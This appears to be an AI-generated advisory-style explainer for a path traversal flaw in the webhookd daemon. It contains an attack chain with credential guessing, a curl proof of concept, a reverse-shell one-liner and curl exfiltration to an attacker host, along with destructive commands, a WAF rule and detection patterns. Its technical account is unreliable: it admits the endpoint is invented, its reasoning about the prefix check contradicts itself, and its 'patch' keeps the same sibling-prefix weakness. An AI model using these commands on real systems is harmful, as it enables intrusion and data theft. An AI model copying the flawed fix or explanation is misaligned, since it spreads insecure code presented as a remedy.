CVE-2026-142243 — CWE-22
Ncarlier webhookd from 1.21.0 before 1.22.1 contains a path traversal vulnerability in ResolveScript() that allows remote attackers to execute programs outside the hook scripts directory by bypassing a strings.HasPrefix containment check. Attackers who satisfy configured hook authentication can send an encoded ../ path targeting a sibling directory sharing the scripts prefix, running executables with the request body as input as the webhookd user.
Ncarlier webhookd from 1.21.0 before 1.22.1 contains a path traversal vulnerability in ResolveScript() that allows remote attackers to execute programs outside the hook scripts directory by bypassing a strings.HasPrefix containment check. Attackers who satisfy configured hook authentication can send an encoded ../ path targeting a sibling directory sharing the scripts prefix, running executables with the request body as input as the webhookd user.
🎯 What is this vulnerability?
CVE‑2026‑142243 is a classic path‑traversal flaw (CWE‑22) in the Ncarlier webhookd daemon, version 1.21.0 – 1.22.0.
The daemon exposes an HTTP endpoint that accepts a script parameter (e.g., ?script=foo.sh). Internally the function ResolveScript() is responsible for mapping that relative path to an absolute file inside the configured scripts directory:
func ResolveScript(script string) (string, error) {
// scriptsDir is the configured directory, e.g. /opt/webhookd/scripts
if !strings.HasPrefix(script, scriptsDir) {
return "", errors.New("invalid script path")
}
return filepath.Clean(script), nil
}The vulnerability lies in the incorrect use of strings.HasPrefix. strings.HasPrefix checks only that the string begins with the prefix; it does not verify that the path is actually inside the directory after normalization. An attacker can encode a ../ sequence (e.g., %2e%2e%2f) that, once decoded and cleaned, resolves to a location outside the scripts directory. Because the check is performed before filepath.Clean, the traversal is not detected, and the daemon ends up executing arbitrary binaries located in any sibling directory that shares the same prefix.
The flaw is only exploitable if the attacker satisfies the hook authentication configured for the endpoint (e.g., a bearer token or basic auth). Once authenticated, the attacker can send a request that causes the daemon to execute any program on the host as the webhookd user, with the request body passed as the program’s standard input.
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker could follow. The exact endpoint (/hook) and query parameter (script) are illustrative; the CVE description does not specify them, but they are typical for webhook daemons.
| Step | Action | Technical Detail |
|---|---|---|
| 1. Discovery & Reconnaissance | Identify the target and version | 1.1. Scan the network for open ports (e.g., 8080, 8443). 1.2. Send a generic request to /health or /version (if present) to elicit a response that includes the version string. 1.3. If no version endpoint, use banner grabbing or a HEAD request to / and parse the Server: header or a custom X-Webhookd-Version header. |
| 2. Authentication Enumeration | Verify hook authentication | 2.1. If the service uses a bearer token, attempt a request with a known token (if leaked) or brute‑force a short token. 2.2. If basic auth is used, try default credentials (admin:admin, webhook:hook). 2.3. Successful authentication is confirmed by a 200 response to a benign request (curl -X POST -H "Authorization: Bearer <token>" -d "test" http://target:port/hook). |
| 3. Exploitation | Trigger the path‑traversal and RCE | 3.1. Craft a URL that encodes a ../ traversal targeting a sibling directory that contains an executable (e.g., /opt/webhookd/bin). 3.2. The request body is the command to run. 3.3. Example PoC (illustrative):<br><br>``bash\ncurl -X POST \\\n -H "Authorization: Bearer <valid‑token>" \\\n -H "Content-Type: text/plain" \\\n -d "id" \\\n "http://target:8080/hook?script=%2e%2e%2f../bin/id"\n`\nThe %2e%2e%2f sequence decodes to ../. After decoding, ResolveScript() receives ../bin/id, strings.HasPrefix passes (because the string starts with ../), and the daemon executes /opt/webhookd/bin/id with id as its stdin. The output is returned in the HTTP response. |
| 4. Post‑exploitation | Achieve full impact | 4.1. Arbitrary command execution – Replace id with any shell command (cat /etc/passwd, wget …, sh -c 'bash -i >& /dev/tcp/attacker/4444 0>&1'). 4.2. Privilege escalation – If the webhookd user can sudo to root (common in containerized deployments), chain the command to sudo -u root …. 4.3. Persistence – Drop a webshell or cron job under /opt/webhookd/scripts. 4.4. Data exfiltration – Use the request body to pipe data to an external server (curl -X POST -d @/etc/passwd http://attacker:port`). 4.5. Denial‑of‑service – Execute a CPU‑intensive script or spawn a fork bomb. |
Note: The exact query parameter name (script) and endpoint (/hook) are illustrative. If the real implementation uses a different name (e.g.,actionorfile), the same traversal logic applies.
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (C:H) | Arbitrary files can be read or executed, allowing the attacker to exfiltrate secrets, credentials, or sensitive data. |
| Integrity (I:H) | The attacker can modify system files, configuration, or the webhookd binaries, potentially installing backdoors or tampering with logs. |
| Availability (A:H) | By executing destructive commands (e.g., rm -rf /, kill -9 $(pidof webhookd)), the attacker can crash the service or the host, causing a denial‑of‑service. |
Because the vulnerability is remote and requires no user interaction beyond a valid authentication token, any exposed webhookd instance is at risk. In environments where the webhookd user has elevated privileges (e.g., root in a container), the impact escalates to full system compromise.
🛡️ Remediation & Mitigation
1. Patch
| Affected Versions | Fixed Version | Upgrade Recommendation |
|---|---|---|
| 1.21.0 – 1.22.0 | 1.22.1 | Immediately upgrade to 1.22.1 or later. |
The patch replaces the vulnerable strings.HasPrefix check with a robust path resolution:
func ResolveScript(script string) (string, error) {
abs, err := filepath.Abs(filepath.Join(scriptsDir, script))
if err != nil {
return "", err
}
if !strings.HasPrefix(abs, scriptsDir) {
return "", errors.New("script outside allowed directory")
}
return abs, nil
}2. Workarounds (if patching is not immediately possible)
| Mitigation | Implementation | |
|---|---|---|
| Restrict authentication | Disable or tightly restrict the hook authentication mechanism. Use IP whitelisting or mutual TLS so that only trusted hosts can reach the endpoint. | |
| Disable script execution | If the webhookd is not needed, stop the service (systemctl stop webhookd) or remove the executable from the PATH. | |
| WAF / ModSecurity rule | Block any request containing ../ or %2e%2e%2f in the script query parameter. Example ModSecurity rule:<br><br>SecRule REQUEST_URI | ARGS:script "@rx \.\./" "id:1001,phase:2,deny,status:403,msg:'Path traversal attempt'" |
| Filesystem ACL | Place the scripts directory in a separate mount point with noexec and restrict the webhookd user’s permissions to that mount. | |
| Runtime isolation | Run webhookd in a container with a minimal filesystem and no write access to critical directories. |
3. Detection
| Log Pattern | IoC |
|---|---|
Requests to /hook (or equivalent) with script parameter containing ../ or %2e%2e%2f | script=.*%2e%2e%2f |
HTTP 200 responses that include output of system commands (id, cat /etc/passwd) | Presence of uid= or /etc/passwd in response body |
Unexpected execution of binaries outside /opt/webhookd/scripts | System logs showing execve of /opt/webhookd/bin/* |
| Failed authentication attempts followed by successful RCE | Authentication failed → RCE executed |
Example Syslog entry (illustrative):
Aug 12 14:32:07 webhookd[1234]: Executed script: /opt/webhookd/bin/id with stdin: id⚠️ Urgency
- CVSS Score: 8.1 (High) – indicates a severe risk.
- Exploit Complexity: High (requires valid authentication), but the authentication mechanism is often simple or misconfigured.
- CISA KEV Status: No – but the lack of a KEV listing does not reduce risk; the flaw is still exploitable.
- Impact: Full confidentiality, integrity, and availability compromise.
[🤖 CVE Professor AI Security Engine]